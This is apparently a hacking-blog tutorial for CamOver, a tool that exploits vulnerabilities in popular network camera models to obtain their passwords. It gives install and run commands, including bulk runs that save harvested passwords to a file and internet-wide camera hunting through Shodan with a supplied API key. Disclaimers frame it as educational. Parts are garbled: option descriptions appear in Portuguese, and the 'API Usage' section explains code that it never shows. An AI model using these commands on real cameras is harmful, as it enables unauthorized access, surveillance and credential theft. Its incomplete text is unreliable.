CamOver — tool for exploiting vulnerabilities in network cameras

Today we are going to talk about an interesting tool: CamOver, used to exploit vulnerabilities in network cameras, obtain their passwords and carry out different types of attacks. Attacks take place by exploiting vulnerabilities in popular camera models, such as CCTV, GoAhead and Netwave. Below I will explain in detail how to install and use CamOver.

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Hacking network cameras with CamOver

This article is intended solely for educational purposes and for learning ethical hacking. Unauthorized access to network cameras is illegal and considered a crime. Neither the website spy-soft.net nor the author are responsible for your actions.

CamOver Features:

• Exploitation of vulnerabilities in popular network camera models (CCTV, GoAhead, Netwave).
• Support multiple cameras simultaneously, thanks to multithreading functionality.
• Friendly interface for use via command line or API.

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CamOver Installation

To install the tool, simply use the following command:

pip3 install git+https://github.com/EntySec/CamOver

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Using CamOver

After installing, simply start CamOver with the command:

camover

Parameters available when starting CamOver:

-h, --help            Exibe a mensagem de ajuda e sai.  
-t, --threads         Usa multithreading para acelerar o processo.  
-o OUTPUT, --output OUTPUT  Salva os resultados em um arquivo.  
-i INPUT, --input INPUT  Arquivo com endereços das câmeras.  
-a ADDRESS, --address ADDRESS  Um único endereço de câmera.  
--shodan SHODAN       Chave de API do Shodan para explorar câmeras pela internet.  
--zoomeye ZOOMEYE     Chave de API do ZoomEye para explorar câmeras pela internet.  
-p PAGES, --pages PAGES  Número de páginas a ser buscado no ZoomEye.  

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Example of use:

Single Camera Exploration

Suppose there is a camera with the IP address 192.168.99.100. To check if it can be exploited, run the following command:

camover -a 192.168.99.100

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Exploring cameras over the internet

To find cameras online using Shodan, run:

camover -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

The Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is provided as an example. You can use this or your own key.

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Exploring cameras from a file

If you have a list of camera addresses in a file called cameras.txt, you can try to explore them and save the obtained passwords in passwords.txt:

camover -t -i cameras.txt -o passwords.txt

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API Usage

CamOver also provides a Python API to integrate the tool into your code. The example below shows how to create a CamOver object, explore a camera by IP and display the obtained credentials:

pip3 install git+https://github.com/EntySec/CamOver

Code explanation:

1. from camover import CamOver: Imports the CamOver class from the library.
2. camover = CamOver(): Creates a CamOver object to access its methods.
3. creds = camover.exploit('192.168.99.100'): Uses the exploit method to try to exploit a camera by IP address 192.168.99.100. If successful, returns the camera credentials (login and password).
4. print(creds): Displays the obtained credentials.

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Conclusion

CamOver is a powerful tool for exploiting vulnerabilities in network cameras. If you are interested in this topic, it can be a valuable resource for learning about network security and penetration testing.

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⚠️ Disclaimer: Using tools like CamOver for unauthorized activities is a crime and can carry serious penalties. Use this information only for legal and ethical purposes.

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